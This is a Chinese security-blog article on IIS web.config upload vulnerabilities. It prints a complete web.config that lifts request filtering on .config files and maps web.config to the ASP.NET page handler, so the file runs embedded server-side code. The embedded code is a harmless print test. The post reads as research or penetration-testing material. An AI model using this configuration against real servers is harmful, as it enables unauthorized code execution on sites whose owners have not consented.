1. 首页
  2. 网络安全技术

web.config文件上传漏洞技术研究

web.config文件上传漏洞技术研究

1.使用根目录或应用程序目录中的web.config执行命令

此方法非常具有破坏性,因为应用程序已经使用了将替换为我们的web.config文件。然而该文件没有所有必需的设置,例如数据库连接字符串或一些有效的程序集的引用。 当应用程序可能使用了将要替换的web.config文件时,建议不要在实时网站上使用此技术。 位于其他应用程序或虚拟目录中的IIS应用程序可能不使用web.config文件,通常比网站的根目录更安全。 下面的图中显示了testwebconfig应用程序中的内部应用程序anotherapp的示例,该应用程序也位于默认网站内。

如果可以修改应用程序根目录中的web.config文件,则可以使用许多方法在服务器上执行命令。

我在这篇博文中列出了四个例子,如下所示。

1.1 将web.config作为ASPX页面执行

这与第一篇文中提到的技术非常相似,但是当我们在应用程序的根目录中上传web.config文件时,我们有更多的控制权,我们可以使用托管处理程序将web.config文件作为ASPX页面运行。 以下web.config文件显示了一个示例:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
        <handlers accessPolicy="Read, Script, Write">
            <add name="web_config" path="web.config" verb="*" type="System.Web.UI.PageHandlerFactory" modules="ManagedPipelineHandler" requireAccess="Script" preCondition="integratedMode" />
            <add name="web_config-Classic" path="web.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\Microsoft.NET\Framework64\v4.0.30319\aspnet_isapi.dll" requireAccess="Script" preCondition="classicMode,runtimeVersionv4.0,bitness64" />
        </handlers>
        <security>
            <requestFiltering>
                <fileExtensions>
                    <remove fileExtension=".config" />
                </fileExtensions>
                <hiddenSegments>
                    <remove segment="web.config" />
                </hiddenSegments>
            </requestFiltering>
        </security>
        <validation validateIntegratedModeConfiguration="false" />
    </system.webServer>
    <system.web>
        <compilation defaultLanguage="vb">
            <buildProviders> <add extension=".config" type="System.Web.Compilation.PageBuildProvider" /> </buildProviders>
        </compilation>
        <httpHandlers>
            <add path="web.config" type="System.Web.UI.PageHandlerFactory" verb="*" />
        </httpHandlers>
    </system.web>
</configuration>
<!-- ASP.NET code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&"-")
%>
-->

之后我们可以浏览web.config文件以将其作为ASP.NET页面运行。 然而XML内容也可以从网上访问。 也许更容易上传另一个带有允许扩展名的文件,例如.config.jpg.txt文件,并将其作为.aspx页面运行。

文章来源:【安全时代】 原文链接:https://www.agesec.com/article/6170.html

安全时代全部内容仅适用于网络安全技术爱好者学习研究,学习中请遵循国家相关法律法规。

安全时代全部数据来源互联网,不代表安全时代立场,如侵犯您权益可邮箱联系我们,详情:版权纠纷

发表评论

电子邮件地址不会被公开。 必填项已用*标注